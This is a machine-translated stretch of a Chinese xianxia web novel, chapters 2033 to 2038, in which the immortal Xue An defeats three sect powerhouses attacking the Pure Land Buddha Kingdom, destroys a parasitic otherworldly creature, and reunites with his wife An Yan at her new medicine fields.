    Speaking of it, this pan is ill-fated, and it has almost never stopped since it fell into An Yan''s hands.


    Moreover, An Yan didn''t make a move. When he made a move, he often dealt with a strong man whose strength was far better than her.


    So at this moment, facing this big melee, the Lei Zun Qi Ling in the pan was very calm, and even some wanted to sing.


    If compared with absolute strength, the three powerhouses undoubtedly have the upper hand.


    Because just the person Huawuyu is a powerhouse of the fairy king level.


    What''s more, there are high-level officials from the two super sects, Renhuangdian and Xuanmingling.


    Unexpectedly, when the hands were handed in, the three powerhouses not only did not take advantage, they were also beaten down all the way.


    Like now.


    Just after Hua Wuyu gave Maitreya a palm, Guan Zizai didn''t know when she appeared behind her, and then silently slapped Hua Wuyu''s back.


    The whole process didn''t even arouse the slightest disturbance, it can be described as unconscious.


    It wasn''t until Kankan was about to touch her back that Hua Silence felt the danger instinctively.


    But at this time she had no time to dodge, and in desperation, Hua Wuyu could only struggle with all her strength, gathered on her back, and abruptly took the palm of Guan Zizai.


    Bang!


    After a muffled noise, Guan Zizai was shocked to take a few steps back.


    Hua was speechless and Hua Rong was also pale, and rushed forward a few steps staggeringly.


    Not only her, but also the elder from the Imperial Palace and the elder of Xuan Mingling are facing similar situations, almost being besieged by people in turn, they are dazzled and overwhelmed.


    Seeing this scene, Hua Wuyu couldn''t help yelling, "Continue to drag on like this, not only will not be able to catch Xue An''s blood, even we have to get stuck here, do it!"


    Hearing this, the Human Emperor Army Master and Elder Xuan Ming looked at each other, and then nodded together.


    Immediately afterwards, the man''s army division took a deep breath, retreated abruptly, and then withdrew from the battle circle.


    The blank he left was filled in by this elder Xuan Ming, preventing Maitreya Yuesha and others from continuing to rush forward.


    At the same time, I saw this man, the Emperor''s army, took out a simple scroll from his arms, and then slowly unfolded it.


    When the scroll was completely unfolded, countless golden lights rose into the sky, and even a huge phantom seal was intertwined in the sky.


    Then I heard this man''s imperial army master look solemn, and said in a deep voice: "Today there are evil gangsters and blasphemy against Longwei. Their crimes are to be blamed, and the sentence is to be executed.


    After these brief and extremely brief words, but seeing the huge seal of the seal rumbling down, directly suppressed the natural way of the Pure Land Buddha Kingdom.


    In an instant, Maitreya Yueji and others felt their bodies sink, and even the movement of the cultivation base in the body became condensed.


    In contrast, the aura of the three powerhouses instantly skyrocketed several times.


    The situation reversed in an instant, and Yue Jing and others felt tremendous pressure.


    Only Anyan is unaffected, but she alone cannot change anything can only shuttle back and forth to be a firefighter.


    A sneer appeared at the corner of Ren Huangjun''s mouth when he saw this, and then he said in a deep voice, "Don''t worry about other people, get this woman up!"


    The strong men moved upon hearing the wind and immediately set up the next formation, besieging Anyan Tuantuan.


    An Yan rushed from left to right, still unable to break through, and the scope of her activity was still shrinking rapidly.


    From a distance, An Yan wearing a golden alchemy armor looks like a butterfly falling into a net, which makes people look sad.


    "mom!"


    Missing Nian standing far away with Zhang Xiaoyu and Chan''er couldn''t help screaming after seeing this scene.


    And this shout also attracted the attention of Hua Wuyu and others.


    After seeing a pair of rare twin girls, their eyes flashed with greed and excitement.


    "It''s the two of them, they are Xue An''s blood!" The bounty hunter also poked his head out and shouted.

 Chapter 2033： Bai Guang satisfied the sun and the moon, Ziqi rowed bullfights!

    "Rush up and grab these two little girls first!" Ren Huangjun said in a deep voice.


    Before he could finish speaking, Hua Wuyu had already rushed out, and then rushed towards thinking and thinking with a grinning face.


    An Yan felt anxious, "I miss you, run away!"


    But at this moment, Nian Nian''s face raised her hand solemnly and pointed at the flower speechlessly.


    "roll!"


    Give an order.


    Hua was speechless and felt that a huge force directly shook herself out of the distance.


    Hua was speechless and dizzy, but inexplicably, she felt a huge shock in her heart.


    Because she could feel that this kind of power to retreat was different from any trick, like some unfathomable will, which was completely irresistible.


    But soon, these shocks all turned into a sneer on his face.


    "It really deserves to be the blood of the Red Lotus Immortal Venerable. You already have such an amazing talent at such a young age, but it''s a pity... you are still too tender!"


    After all, Hua Wuyu rushed up again.


    At this time, Nian Nian''s little face had become a little pale, and it was obviously no longer able to support the second speech.


    Seeing that the flower was speechless, he was about to rush to the front, but at this moment, a bright flash of light emerged from the two little girls and An Yan.


    Then above the heads of their mother and daughter, a virtual image of a man sitting on the red lotus suddenly appeared.


    Upon seeing this virtual image, Hua was speechless and shocked all over her body, and she cried out in shock, "Red Lotus Immortal Venerable!"


    That''s right!


    This virtual image is what Xue An deliberately stayed in the sea of ??knowledge of the mother and daughter before leaving, in order to prevent them from falling into an extremely dangerous situation.


    at the same time.


    But seeing Xue An''s virtual image slowly opened his eyes, and then gave a cold sigh.


    "Bai Guang meets the sun and the moon, Ziqi rowing bullfights!"


    boom!


    In one word, three extremely bright sword lights appeared between the eyebrows of the three Xue Anxu statues.


    Immediately afterwards, Jianmang engulfed the sun and the moon, and slashed down with the momentum of reversing the universe.


    Hua was so frightened that she screamed, and then wanted to run away.


    But under the lock of this sword light, she has nowhere to escape.


    The other two sword lights pointed directly at Ren Huangjun and Xuanming Elder.


    All these changes seem to be very slow to describe in words, but in fact it only took a few moments.


    Many people just feel that there is a flower in front of them, and then there are three mighty swords that are like mountains and rivers.


    Seeing that it is inevitable to avoid, this human emperor can''t help yelling, "Human emperor''s might!"


    boom!


    The huge seal above the sky suddenly turned slowly.


    And during this rotation, the Qi machine of the whole world was instantly disturbed.


    Including these three sword lights, everything has lost its direction.


    Immediately after these three sword lights trembled a few times, they shattered silently.


    Seeing the sword light dissipate, the three of them breathed a sigh of relief.


    Then the shocked Hua was speechless and roared in anger: "Now I see what tricks you can do!"


    With the voice, she rushed to miss and miss like a meteor.


    At this moment, even if it was the nearest Yue Sha, it was too late to rush over.


    But at this moment, seeing Hua Wuyu who was still rushing forward just now, he flew backwards at a faster speed than before.


    Then I heard a clear applause in the air.


    This time.


    The audience was shocked.


    At this moment, the flower that flew out without a word finally barely stopped, and then opened his mouth and spit out a large mouthful of blood mixed with broken teeth.


    what happened!


    The Imperial Army Master, the Elder Xuan Ming and others all shook together, waiting for Ding Qing to take a look.


    But in front of the two little girls, a faint figure was emerging.


    In the blink of an eye, a young man in white appeared in front of everyone.


    After seeing him, An Yan couldn''t help but let out a sigh of relief, and then sipped in secret.


    This **** has to appear at the last minute every time, making me worry for a long time!


    Naturally, Xue An appeared here.


    When the two little girls saw that it was their father, they couldn''t help but rushed up with cheers.


    "Dad, you are finally here!"


    "Dad, this bad aunt wants to arrest us!"


    The two little girls started whistling to complain to Xue An.


    Xue An smiled slightly, stroked the heads of the two little girls, and said softly: "Daddy knows it all, you guys step back first and see how dad vents you, okay?"


    "Hmm!"


    The two little girls nodded together, and happily retreated to the back.


    Then Xue An raised his head and smiled at the three strong men who were all in a state of astonishment.


    "Hello, my name is Xue An, which is the Red Lotus Immortal Venerable you have been looking for!"


    boom!


    As soon as this statement came out, there was a fierce commotion in the audience.


    The three powerhouses all shook, and even the people of the Pure Land Buddha Kingdom were full of incredible faces.


    Because they didn''t expect Xue An to appear suddenly, and it was such a coincidence.


    Only Xiao Sha''s figure flashed and recovered his human form, and then he smiled and said, "Okay, the master is here, these guys are over!"


    At this time, the commotion gradually subsided.


    Ren Huangjun, Elder Xuan Ming all appeared beside Hua Wuyu with solemn expressions.


    The three stood in a row side by side, staring at Xue An, who was smiling indifferently.


    "Xue, do you dare to show up?"


    "Joke, why didn''t I dare to show up? On the contrary, it is you..." Xue An shook his head and said with a look of hatred for iron and steel.


    "I deliberately delayed some time on the road, just to see what you can do. As a result, it only took you a day to break the defensive formation I left behind. You said...what else can you do? "


    The irony in Xue An''s words is almost overflowing.


    But these three are top-level powerhouses, and naturally they won''t be easily stirred up by Xue An.


    I saw the Imperial Army Master sneered, "Red Lotus Immortal Venerable, your courage is really good, and you are also strong enough, but your fault is that you should not be so arrogant, you actually use your own strength to fight the heavens, you really Do you think we can''t cure you?"


    Xue An also smiled when he heard the words, then opened his palms and said sincerely, "Please!"


    "Please cure me It just happens that I''m a little bored lately, so I can relieve my boredom!"


    "court death!"


    Infinite anger burst into the eyes of the Human Emperor Army Master, and then suddenly unfolded the scroll in his hand.


    "The Emperor has an order, punish this son!"


    But to his surprise, there was no response from the outside world, and even the huge seal in the sky seemed to be silent.


    Ren Huangjun was taken aback.


    Xue An said with a smile, "Sorry, are you planning to use this to deal with me?"


    As he said, Xue An raised his hand into the air.


    In an instant, I saw a huge palm suddenly appearing on the sky, and then grasped this seal and shook it suddenly.


    Bang!


    The imaginary image of this man''s seal broke apart.

 Chapter 2034： 1 Jian Jitian

    Along with the shattering of this seal, the man''s army master spit out a big mouthful of blood, and then screamed in shock.


    "How is this possible?"


    "How can it be impossible?" Xue An said indifferently: "Do you really think you can suppress me with such a broken seal?"


    "Even if your relatives arrive, I am not afraid, let alone this is just a small virtual image!"


    Speaking of this, the corners of Xue An''s mouth raised slightly, revealing a very cold smile.


    "On the contrary, since you are here, why bother to leave?"


    Because when Xue An was just talking, many people, including Hua Wuyu, were quietly retreating.


    But with Xue An''s last question, behind these people, silhouettes in armor began to appear one after another.


    It was the Fire Phoenix people who came with Xue An.


    now.


    The fire phoenix people arranged in four directions, forming a tight defensive formation, encircling the three powerful sects.


    Seeing that anxiously fled, he couldn''t help being furious.


    "Go away, don''t get in the way of uncle!"


    After speaking, he took the lead to launch an attack.


    But when these people''s attacks hit the Fire Phoenix people, they only aroused layers of flames. When the brilliance dissipated, the armor on their bodies was not even defaced, as if the attack just now did not exist.


    Such a terrifying defensive ability also shocked the three powerhouses.


    at the same time.


    Just listen to Xue An lightly sighed: "Don''t rush to leave, why don''t you listen?"


    "The surname Xue, you don''t want to play mystery here, I don''t believe that the old man wants to go, you can really stop me!"


    The elder of Xuan Ming Ling suddenly roared, then raised his hand and blasted into the void in front of him.


    "Xuanming has no realms!"


    boom!


    The void oscillated, and then cracks appeared, and they gathered together, as if to open a door.


    The elder Xuan Ming showed a smirk, "The surname is Xue, you will not be mad for long. When I go back, I will definitely report to the Ming Tomb Master. When the army arrives, you will be crushed into powder in an instant!"


    As he said, he stepped into the rift at that time while laughing wildly.


    But at this moment, Xue An said indifferently: "Since I told you to stay, don''t even think of leaving any of you!"


    With that, Xue An suddenly raised his eyes, then raised his hand and cut a sword.


    boom!


    A sword that was so huge that it seemed to cut the entire world straight down, but it was strange that no one was injured.


    But at the moment the sword fell, the space-time rift in front of the elder Xuan Ming shattered and vanished.


    Not only that, these three powerhouses felt that the surrounding space suddenly condensed and became extremely solid.


    This is because Xue An has cut down all the connections between this world and the surrounding void.


    The military commander in the Palace of Human Emperor had a pale expression, and said coldly: "A sword cuts the sky, Xue An, it seems that you really want to kill me!"


    "Joke, is it because so many of you guys come here to enjoy the scenery?"


    Xue An sneered, and then said: "If it weren''t for me to arrive in time, you might not have done anything to do it, so I''m courteous. I will kill you all and don''t blame me for being cruel!"


    Hearing this, many of these three powerhouses looked desperate.


    Hua was speechless, Renhuangjunshi, and Elder Xuanming looked at each other, and then suddenly shouted.


    "Fight with him!"


    With that said, the three of them rose up with their whole body''s cultivation base and rushed towards Xue An.


    Xue An smiled faintly, "That''s right, do you have to struggle a few times! Let''s do it."


    As soon as his last three words came out, everyone in the Fire Phoenix moved together, smashing toward these three powerhouses in accordance with the formation trained in the arsenal fantasy.


    In the blink of an eye, the cry for killing resounded through the clouds.


    Everyone in the Pure Land Buddha Kingdom also wanted to join the battle group when they saw it, but Xue An, who was dealing with the Hua Silent three, said lightly.


    "You don''t have to do it, just let them solve this problem by themselves. It''s a test for them!"


    Yue Ji, Maitreya and the others all stunned, Xuan even stopped with a wry smile, and then looked at the boiling battlefield.


    After only a moment, Yue Jing and others'' faces changed.


    Become extremely dignified.


    Because with the tight formation and tacit cooperation of the Fire Phoenix, the situation on the battlefield showed a one-sided situation.


    The people of the Fire Phoenix are almost suppressing these three powerhouses.


    Seeing this almost unilateral slaughter, the Tantrician Guan Zizai said with a pale face: "Where did Master Master get these war machines?"


    Maitreya sighed softly when he heard the words, "Junior, how can the power of Master Master be something we can predict?"


    Guan Zizai stopped speaking, but the respect for Xue An in his heart could not help raising another level.


    If he had only obeyed Xue Anyan because of the words of the Bodhi, now he has completely obeyed.


    I have to say that Guan Zizai''s comment on Fire Phoenix is ??correct.


    After having the blessing of the Talisman Battle Armor, the members of the Fire Phoenix Special Forces have all turned into the most terrifying killing machines.


    After just a cup of tea, most of these three powerhouses have been wiped out.


    The rest is also bloody, struggling to support it.


    The trio of Hua Wuyu who were fighting with Xue An peeked at this scene, and they couldn''t help but feel a severe shock and chill in their hearts.


    Isn''t it that this Red Lotus Immortal Venerable is a lonely person, besides his own strength is relatively strong, there is no other power?


    What happened to these murderous guys now?


    Where did the armor on their bodies come from?


    These questions made Hua Wuyu trio''s creeps.


    But at this moment, Xue An''s calm and cold voice was heard in their ears.


    "game over!"


    After saying that, there is an extremely cold sword light across the sky.


    puff!


    The first to fall was the elder of Xuan Ming Ling. Before he even had time to hum, he was cut off his neck by this sword light.


    The huge head soared into the sky, followed by blood, rushing out of the headless neck like a fountain, splashing the man next to him with all his heads and faces.


    But before the man''s imperial army master screamed, a divine mind that was extremely condensed, like a needle like a sword, pierced into his sea of ??consciousness silently.


    Bang!


    The Sea of ??Consciousness of the Human Emperor Army Division was instantly burst, and the head above the eyebrows exploded directly, and the white brains dripped down with a disgusting smell.


    Then the two dead bodies fell from the air.


    In an instant, the three great masters had gone to the second place, and they still didn''t even leave a trace of their souls, and they fell completely.

 Chapter 2035： Mental pollution

    Such a shocking scene made Hua Wuyu cold all over, and instantly lost all resistance.


    She could only look at Xue An with a pale face, waiting for fate to deal with her.


    But Xue An did not immediately kill her.


    On the contrary, Xue An smiled at her slightly.


    "Are you scared?"


    Hua was speechless and trembled all over, then nodded as if pounding garlic, "Hurt... scared!"


    "Just be afraid."


    "Yes Yes!"


    A flattering smile squeezed out of Hua''s speechless face, while his brain was running fast.


    Why didn''t he kill me?


    Could it be...


    Hua Silent suddenly remembered that she was also a stunning woman anyway.


    Although he was a little older, but because of his advanced level of cultivation, not only did he show no signs of old age, but also added a touch of the charm of a mature woman.


    Could this Red Lotus Immortal Venerable see him?


    Ok!


    It is very possible!


    At this point, Hua Silent��s smile became more intense, and she scratched her head and bowed her head, "Master Honglian, the slave family was also deceived by the people from the Imperial Palace and Xuanming Tomb, and they committed such monstrous things. Great mistake, now the slave family will let you go!"


    As she said, she raised her eyes and glanced at Xue An pretendingly.


    Unexpectedly, Xue An was not moved at all, but looked at her with a smile.


    "Oh? Leave it with me?"


    "Well, as long as you can keep the slave''s life, you can ask me to do anything!"


    When a charming woman tells you that she can do anything, the temptation is enough to make many ordinary men fall into an instant.


    But Xue An''s eyes gradually became cold, and then he said indifferently: "If this is the case, then you can tell me, who is behind the scenes who is doing all this!"


    As soon as this remark came out, Hua Silent, who had been acting coquettishly, was shocked all over, and then looked at Xue An in amazement.


    "What? It''s strange how did I know?" Xue An smiled coldly.


    "No...no...The Nujia just doesn''t know what you are talking about!" Hua Wuyu forced a smile.


    "I don''t know what I''m talking about? That''s fine, then I''ll change my opinion!"


    Speaking of this, Xue An suddenly deceived her body and came to Hua Silent''s body, then raised her hand and hooked Hua Silent''s chin, supporting her face.


    Hua Silent''s whole body trembled slightly, but there was a hint of joy in her eyes.


    As long as you can survive, what a physical price to pay!


    As for the audience, there was also a slight commotion.


    Zhang Xiaoyu whispered: "What''s wrong with the boss? Is it really tempted by this old woman? But that can''t be in front of the mistress!"


    Before she finished her words, Xiao Sha banged her on the head severely, "Let''s stop talking nonsense, the master is not the kind of man who is ungrateful."


    But even though she said so, she still looked at An Yan not far away with some worry.


    My heart said, Master Mistress, don''t go crazy!


    Unexpectedly, An Yan was calm, even with a slight smile.


    Because An Yan knows very well, Xue An must have done this for a reason.


    really.


    I saw Xue Anju condescendingly looking at the palace lord of Thousand Crane Palace, and then said in a mocking tone.


    "I really want to know what the **** is going on with the breath from outside the heavens in your body."


    As soon as this remark came out, Hua Wuyu instantly changed from the previous complacency to the shock and fear on his face.


    Xue An raised his eyebrows slightly, "What? Still don''t want to say?"


    Hua was speechless and felt all the hairs on her body stand up, and then she was cut off by the sharp sword energy.


    "I...I don''t know, I really don''t know anything, please don''t ask, otherwise I will definitely die!" Hua speechless face showed extreme pain.


    "Then you don''t say it, won''t you die?" Xue An said coldly.


    In fact, Xue An felt the strangeness of these Qianhe Palace disciples a long time ago.


    It was at the beginning of the Thousand Sects Profound Society, when Xue Anzhu killed Fu Nianzhi, he felt that there was an extremely subtle but terrifying aura in her divine consciousness.


    And after killing her, these breaths seemed to have transferred to her.


    But Xue An didn''t care about it, because he understood that this breath should be used to determine his position.


    Xue An didn''t care about revealing his whereabouts, but wanted to know what would happen, so he never got rid of it.


    It wasn''t until he saw this flower speechless that he was sure that there must be an unknown secret behind this Qianhe Palace.


    "Ka Ka Ka..." Hua''s speechless throat suddenly made a sound like something breaking.


    Hua''s speechless expression instantly became extremely frightened, grabbed Xue An''s arm, hissed and screamed: "Help me, please help me, it''s coming out!"


    puff!


    After a muffled sound, Hua''s speechless scream disappeared instantly, and she could no longer make a sound.


    Because her mouth had been torn apart, the extent of the tear was so great that it even split her entire face.


    At the same time, in her wide open mouth, a weird flower emitting a foul smell and flowing mucus suddenly grew.


    This flower bloomed slowly, and among them was a pocket-sized woman the size of a palm.


    Although only the size of a palm, this woman is extremely coquettish, especially her eyes, which is simply filled with endless lust.


    The average person will be completely crazy just by looking at it.


    But Xue An watched quietly, without blinking his eyelids.


    This pocket-sized woman seemed very annoyed by Xue An''s reaction. After a while, she opened her mouth and started singing with a grinning smile.


    The songs are graceful and beautiful, although they don''t understand the lyrics, they make people feel ecstatic.


    And this kind of singing can also stimulate the deepest desires in people''s hearts.


    At least the nearby Fire Phoenix and others were all confused.


    Yue Ji, Maitreya and others also shook, then folded their palms together and declared the Buddha''s horn.


    "Nanwuwu Buddha!"


    "Master Nanwu!"


    Then he bowed his head and closed his eyes, and chanted the scripture quickly.


    Otherwise, they can''t guarantee that they will be captured by this song.


    This also shows how terrifying the song is.


    But at this moment a sapphire sculpted, slender and slender palm was not affected at all. It slowly stretched out to the flower, and then gave it a sharp grip.


    Bang.


    Xue An held the pocket girl among the strange flowers in his hand.


    The singing stopped abruptly.


    This pocket-sized woman didn''t expect Xue An to be so calm, she couldn''t help showing a look of horror, struggling hard.


    While struggling, she also made a sound similar to a baby crying, trying to arouse Xue An''s sympathy.


    But Xue An just smiled at this.


    "Sure enough, it is an evil thing outside of the sky! So it seems that you so-called Void Masters, Xinghai Shenzong, do not know how many have been polluted!"


    With that, Xue An''s palm suddenly burned with flames.


    This pocket-sized woman uttered a sharp scream, but she was burned to ashes in the next second.

 Chapter 2036： Open up a medicine field

    As this pocket evil girl was burned, a raging flame suddenly rose above Hua''s speechless body.


    The scorching high temperature instantly burned the speechless flower to ashes, then scattered in the wind and turned into nothing.


    The audience was silent.


    Many people have not fully recovered from the shock.


    Who could have imagined that the three powerhouses who had just come to attack the Pure Land Buddha Kingdom aggressively just now were wiped out in the blink of an eye.


    The dead corpses all over the floor seemed to be expounding an unbreakable truth, that is, don''t oppose Xue An.


    At this moment, the Fire Phoenix everyone flew to Xue An, standing in a tight formation.


    "Report to the instructor, Fire Phoenix has completed the mission, wiped out 1,321 enemies, injured three people lightly, zero serious injuries, and zero deaths! Please give instructions!"


    Cheng Hao took the lead to get out of the queue, shouting with a magnificent voice.


    And these words also caused a commotion in the audience.


    Guan Zizai''s face was full of shock, only to feel that some pride in his heart was instantly broken.


    One thousand three hundred and twenty-one strong men were wiped out, but they only slightly injured three people, not even a serious one.


    What a brilliant record this is!


    Xue An couldn''t help but nod lightly when he heard the words, "Well done well, it can be seen that the arsenal trial during this period was not in vain."


    "Everything is the cultivation of instructors!" Fire Phoenix shouted in unison.


    Xue An smiled and waved his hand, "Okay, you don''t have to wear a high hat. It is your grades that are your grades. You don''t have to pull on me, but you must remember!"


    Xue An''s complexion suddenly became awe-inspiring.


    "This is just the beginning. What you are dealing with now is a group of wine bags and rice bags that have never been on the battlefield. They are totally innumerable. In the future, the enemies you will face will become stronger and stronger, so you must not be complacent, understand. ?"


    "Instructor don''t worry, I will understand." The crowd shouted in unison.


    "Very well, disband first!"


    Then Xue An turned around and flew directly in front of An Yan, and said with a smile: "Yan''er, you look really good in this armor!"


    An Yan, who originally wanted to teach Xue An a little lesson with a straight face, immediately threw his previous thoughts away.


    "is it?"


    "Yeah!" Xue An nodded heavily, "If it is described in idioms, it is heroic and dazzling!"


    An Yan pursed her lips, "I hate it!"


    "I hate to say so too, because this is a fact!"


    "Alright, alright, forgive you, I won''t be allowed to come over so late in the future, you don''t know how worried I was when that woman rushed to miss it."


    Xue An breathed a sigh of relief, no matter what, the most important thing is to make his wife happy first.


    After hearing An Yan''s words, Xue An couldn''t help but smile.


    "Don''t worry, Yan''er, I was actually prepared long ago. Even if I didn''t make it back, these people would never want to succeed."


    At this moment, Cheng Hao and the crowd of Fire Phoenix rushed to the front.


    "Disarm!" Cheng Hao gave an order.


    There was a flash of brilliance, and the armor of the Phoenix and others converged like running water.


    Then they bowed and saluted to An Yan Qi.


    "Ms. Met!"


    The sound shook everywhere, which was eye-catching.


    An Yan''s face turned red again, and then said helplessly: "Everything... get up soon!"


    Xue An smiled and said nothing.


    But at this moment, An Yan suddenly grabbed his hand and said softly: "Husband, come with me, I will show you some good things!"


    After that, he dragged Xue An and flew down.


    Xue An was startled slightly. He wanted to ask what it was, but soon closed his mouth and followed obediently.


    After this shock, the Pure Land Buddhism did not suffer any substantial damage except for a big hole that was blasted out of Chu Jialuo.


    And when An Yan took Xue An by the hand and led the two little girls to fall on the ground of the Pure Land Buddha Kingdom, Xue An couldn''t help being taken aback by the scene in front of him.


    However, the previous wilderness has disappeared, replaced by the fields of terraced rice fields, in which all kinds of rare medicinal materials are planted.


    The setting sun Xuanguang vine, the jade girl broken love grass, the quasi-lifting wind bamboo...


    Plants of herbs are extremely rare and rare even if they are placed in the depths of the star sea. During the growth of the green oil, the strong medicinal qi exuded even condensed various illusions over the fields.


    "This is..." Xue An gradually widened his eyes.


    An Yan said proudly: "What kind of husband, the medicine field I opened up is not bad!"


    "The medicine field you opened up?"


    "Yes!" An Yan said with a grin.


    At this moment, the Fire Phoenix and the people from the Pure Land Buddha Kingdom all followed.


    Yue Ji took a step forward, folded her palms together, and said with a smile: "Master, these medicine fields were indeed opened by Mrs. An, which is really amazing!"


    Xue An squatted down and looked at these gratifying herbs, without speaking for a long time.


    It was not until a long time later that he raised his head and asked, "Yan''er, how do you manage these medicine fields?"


    "Hey, you don''t know this!" An Yan danced with excitement, feeling that she had finally done something that Xue An could not see through, and the pride on her face was almost overflowing.


    "Don''t you think the breath in these medicine fields is a bit familiar?" An Yan said.


    Xue An closed his eyes and felt for a moment, then nodded, "It''s really a bit!"


    "That''s right, because the development and management of these medicine fields are actually from the koi ball from Fu Bao Xiaolou!"


    "The ball?"


    "Yes!"


    With that, An Yan waved his hand, and the koi ball appeared in the air.


    "Ball ball, go show a fertilization!"


    The ball looked at Xue An in awe, not daring to move.


    An Yan smiled and said, "Don''t be afraid, just do as you usually do!"


    The ball then swam its tail into the air, and then spit bubbles down.


    That''s right!


    Just one bubble after another.


    These bubbles were the size of a basketball and fell into the medicine field. After a light pop, they exploded to smash.


    But when the bubbles exploded, the surrounding herbs stretched a bit more, and the branches and leaves became more luxuriant.


    "How is it? I''m great, right? Hey, I discovered this function of the ball by accident!" An Yan was full of praise and quickly praised my expression.


    Xue An did not hesitate to stretch out his thumb, and praised sincerely: "Yan''er, you are so amazing! I never thought that the ball has such a magical effect!"


    An Yan''s face radiated light after hearing this, as proud as a little girl who got a perfect score in the exam and was praised by her parents.


    Yue Sha in the crowd suddenly chuckled when he saw this.


    Yingluo asked in a low voice, "Uncle, what are you laughing at?"


    "It''s nothing, just a little sigh!"


    "What exclamation?"


    "...Little kids, don''t ask me!"

 Chapter 2037： What about Xianzun, dont you have to be good...

    After experiencing this turmoil, the Pure Land Buddhist Kingdom finally returned to calm.


    Yue Ji led Maitreya and the others to pick Jialuo to repair the big hole that was blasted out.


    An Yan excitedly began to groom the medicine field, and even the two little girls, Miss Thinking and Nian Nian, were enthusiastic about helping catch the insects.


    Xue An and Yuecha stood on the left iron pillar in the distance and talked softly.


    "Seriously, it was the first time I found out that you are so talented in acting." Yue Sha whispered.


    Xue An smiled faintly, "It still doesn''t work, because you have already seen it."


    Yue Sha shook his head, "Your performance is perfect, even I was almost deceived."


    "Then how do you see it?"


    "It''s very simple, how can the dignified Red Lotus Immortal Venerable not know the magical effect of that magic rune koi?"


    "No wonder you all say you monks are cunning, it really is!"


    Xue An chuckled a few times, then looked at An Yan who was busy in the medicine field far away, and said lightly.


    "Actually, I''m not a liar, but a coax! After all... as long as I pretend to be stupid, I can win this stupid girl all day long. Why not do it?"


    Yuecha was silent, and only sighed softly after a long time: "Is this the so-called love between men and women?"


    "Yes, envious?"


    Yue Sha shook his head, "I just find it troublesome!"


    "Cut, you seem to be noble."


    "Nan Wuwu Buddha, the poor monk is noble!"


    "Then Yingluo, how do you explain it? You don''t even have the foundation of your cultivation for your past life love, this is still called Qing Gao?"


    "It''s just a wish for me, but it doesn''t mean I can understand the love between men and women."


    "You monks, when you talk about the truth, there will always be one set of sets!"


    Speaking of this, Xue An and Yue Sha looked at each other and then laughed at the same time.


    "Really, how is your injury?" Xue An asked in a deep voice.


    "Just like that, I can''t die temporarily, but it can''t be cured!"


    "Does Yingluo know?"


    Yue Sha shook his head.


    Xue An sighed softly, "Then when are you going to hide from her?"


    Yue Sha still shook his head, and then uttered three words softly.


    "Let''s do it!"


    "Follow the fate, what I hate most is that you monks use this excuse to hide your cowardice." Xue An suddenly became a little excited.


    But Yuesha only gave a wry smile, "What if you don''t follow the fate?"


    Xue An couldn''t help being silent, and finally let out a long sigh, then lightly patted Yuesha on the shoulder.


    "If you can hold it, you must grit your teeth and hold on. When I regain the position of the Immortal Venerable, there should be a way to save you!"


    "Hmm!" Yue Sha nodded heavily, "Don''t worry, I will grit my teeth and wait until that day in order to see you regain the position of the Immortal Venerable!"


    Xue An suddenly took a few steps back, and the look on his face became a little weird.


    "Hey, I just treat you as a friend, don''t think about it!"


    Yue Sha was taken aback for a moment, and then he understood what Xue An meant, and couldn''t help but laugh and cry, "Can you be more serious?"


    "Hey, how much money is it worth? Go ahead, I''m going to coax my wife, goodbye!"


    After all, Xue An jumped up and flew to the medicine field in the distance.


    Yue Sha quietly looked at Xue An''s back, the tiredness deep in his eyes, and finally whispered softly: "Thank you!"


    He knew very well that the reason why Xue An just interjected was because he didn''t want to make his topic too heavy.


    With Xue An''s strength now far better than his own, and still taking care of his own feelings in this way, how could Yue Sha not be moved.


    But he didn''t know if he could survive the day when Xue An returned to Xianzun.


    Because he can clearly feel that his life is coming to an end little by little.


    At this moment, Xue An fell into the medicine field.


    "Yan''er, are you tired, let me come!"


    Speaking of Xue An, he wanted to take the shovel in An Yan''s hand.


    "No, how can you be tired from this little work!" An Yan wiped the sweat from his forehead, and then asked with a smile.


    "Husband, what were you talking to Yuecha just now?"


    "Oh, nothing, just talked about the growth of these medicine fields!"


    An Yan couldn''t help getting excited again when he mentioned the medicine field.


    "Husband, do you think the medicine fields I opened up will be of great help to the coming catastrophe?"


    "Of course!" Xue An nodded seriously, "It''s not only a great help, it''s a great help!"


    "With these medicinal materials, we can refine countless elixirs, and these elixirs can save countless lives by then, you say it''s meaningless!"


    Hearing Xue An''s words, the brilliance in An Yan''s eyes couldn''t help becoming more intense.


    "Let me just say, these medicinal materials will definitely help, then I will open up another tens of thousands of acres of medicinal fields to save time and not enough!"


    As soon as he said this, the ball that was spitting bubbles and fertilizing in the distance almost didn''t fall from the air, and then wailed in an infinitely wronged voice.


    The meaning is clear.


    That means don''t add it anymore, add it to me and it will really become a bubble machine.


    And that is when the entire Pure Land Buddha Kingdom is actively preparing for war and preparing for the future catastrophe.


    The three powerful sects were all destroyed, and the news of the death of the Palace Master Hua in the Qianhe Palace also spread like a hurricane.


    The news spread, and the heavens shook.


    "What? Then Xue An actually appeared, and was also entangled with Pure Land Buddha cultivation?"


    "Not only that, he also brought a mysterious army in armor. The combat power is extremely terrifying. It is a complete killing machine!"


    At that time, when the three powerful men attacked the Pure Land Buddha Kingdom, some people watched from a distance through the water mirror method, so some people saw the blurred images that were sent back through this channel.


    Naturally, he was also shocked by the terrifying combat power displayed by the Fire Phoenix.


    "This can be regarded as stabbing a hornet''s nest The Royal Palace, Xuanming Tomb and many sects were already struggling to find Xue An��s whereabouts. Now he has not only appeared, but also two cases. The subordinates are wiped out, and this invisibly adds another hatred. It is estimated that the next two major sects will gather people to attack the Pure Land Buddha Kingdom!" Someone gloated.


    This view also represents the thinking of many people.


    After all, Xue An was not provoking this time, but directly and publicly challenging the authority of the two sects.


    If Renhuangdian and Xuanmingling can''t make a reasonable response to this, then the prestige can really be wiped out.


    really.


    The two major sects began to surging, and the other sects also moved after hearing the wind.


    But just when the whole days are about to come.


    suddenly!


    There was another extremely explosive news, which shocked everyone.


    The woman named Jian Qi, and now promoted to Jian San, publicly challenged Li Jingxing, the lord of the sword palace!

 Chapter 2038： Sword 3

    Speaking of it, the most popular among the heavens in recent days is except for the fallen and reborn Xue An.


    It must belong to this swordsman who has tossed between the heavens, constantly challenging the swordsman master, and refreshing people''s inherent knowledge of female swordsmen time and time again, and has successfully proved his strength with an indisputable brilliant record.


    Before her, it was generally believed that women had inherent shortcomings in the way of kendo.


    Because practicing Kendo requires a strong sword heart, and women are often weak and sensitive by nature, so it is difficult to succeed.


    But the emergence of Jiansan directly overturned this statement.


    This can be seen from the change in her name.


    At the time of the battle on the earth, her name was also called Jian Qi.


    But in just a few years, her ranking has progressed by leaps and bounds, and she finally achieved the prestigious name of Jiansan.


    But she was not satisfied with this, but once again challenged the Super Sword Repair on her list.


